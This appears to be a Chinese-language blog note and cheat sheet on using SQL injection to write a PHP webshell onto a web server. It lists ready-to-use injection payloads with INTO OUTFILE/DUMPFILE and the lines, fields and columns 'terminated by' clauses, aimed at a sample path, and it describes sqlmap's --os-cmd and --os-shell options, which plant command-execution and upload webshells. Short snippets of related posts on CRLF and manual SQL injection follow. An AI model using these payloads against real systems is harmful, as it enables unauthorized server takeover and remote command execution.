搬磚筆記 SQL注入手寫shell的語句

2021-10-23 19:42:32 字數 1888 閱讀 5652

需要絕對路徑和許可權。

union select 後寫入

lines terminated by 寫入

lines starting by 寫入

fields terminated by 寫入

columns terminated by 寫入

最常見的寫入方式,union select 後跟 into outfile 語句

union select 1,2,3,4,』<?php phpinfo() ?>』 into outfile 『c:/wamp64/www/work/webshell.php』

union select 1,2,3,4,』<?php phpinfo() ?>』 into dumpfile 『c:/wamp64/www/work/webshell.php』

ps: 在windows下,位置的分隔符為 /(斜槓)。

注入點語句

into outfile 『c:/wamp64/www/work/webshell.php』 lines terminated by 『<?php phpinfo() ?>』;

limit 1 into outfile 『c:/wamp64/www/work/webshell.php』 lines terminated by 『<?php phpinfo() ?>』;

注入點語句

into outfile 『c:/wamp64/www/work/webshell.php』 lines starting by 『<?php phpinfo() ?>』;

limit 1 into outfile 『c:/wamp64/www/work/webshell.php』 lines starting by 『<?php phpinfo() ?>』;

注入原理

利用 lines starting by 語句拼接webshell的內容。lines starting by 可以理解為 以每行開始的位置新增 xx 內容。

注入點語句

into outfile 『c:/wamp64/www/work/webshell.php』 fields terminated by 『<?php phpinfo() ?>』;

limit 1 into outfile 『c:/wamp64/www/work/webshell.php』 fields terminated by 『<?php phpinfo() ?>』;

注入原理

利用 fields terminated by 語句拼接webshell的內容。fields terminated by 可以理解為 以每個欄位的位置新增 xx 內容。

注入點語句

into outfile 『c:/wamp64/www/work/webshell.php』 columns terminated by 『<?php phpinfo() ?>』;

limit 1 into outfile 『c:/wamp64/www/work/webshell.php』 columns terminated by 『<?php phpinfo() ?>』;

注入原理

利用 fields terminated by 語句拼接webshell的內容。fields terminated by 可以理解為 以每個欄位的位置新增 xx 內容。

前提都是需要對目標目錄具有寫許可權。

–os-cmd=「net user」

互動式命令執行,注意在使用互動式方式時需要知道**的絕對路徑,執行成功之後在絕對路徑

下建立檔案返回結果,然後再自動刪除。

–os-shell

寫webshell,會生成兩個檔案,tmpbshrd.php和tmpucnll.php,分別為命令執行和檔案上傳webshell。

注意:關閉sqlmap檔案就會被刪除。

參考:

搬磚筆記 CRLF注入

crlf 指的是回車符 cr,ascii 13,r,0d 和換行符 lf,ascii 10,n,0a windows 使用crlf表示行的結束 linux unix 使用lf表示行的結束 macos 早期使用cr表示,現在好像也用lf表示行的結束 在http報文結構中,狀態行和首部中的每行都是以cr...

sql注入 手工注入

表示式 描述union 將查詢結果進行聯合輸出,追加在列尾 union all load 檔案讀取 into outfile 檔案寫入 datadir 資料庫檔案存放路徑 user 當前使用者 version 資料庫版本 database 資料庫名稱 表示系統變數 資料庫 表名描述 informat...

搬磚筆記 初識CI框架

2019年8月2日 天氣晴 本文將淺顯的介紹ci框架的接收 跳轉 載入 詳情請參考ci手冊輸入類 this input post name 括號中的name為欲接受的post中的值,若資料不存在方法將返回false this input post name boolean 第二個引數是可選的,如果想...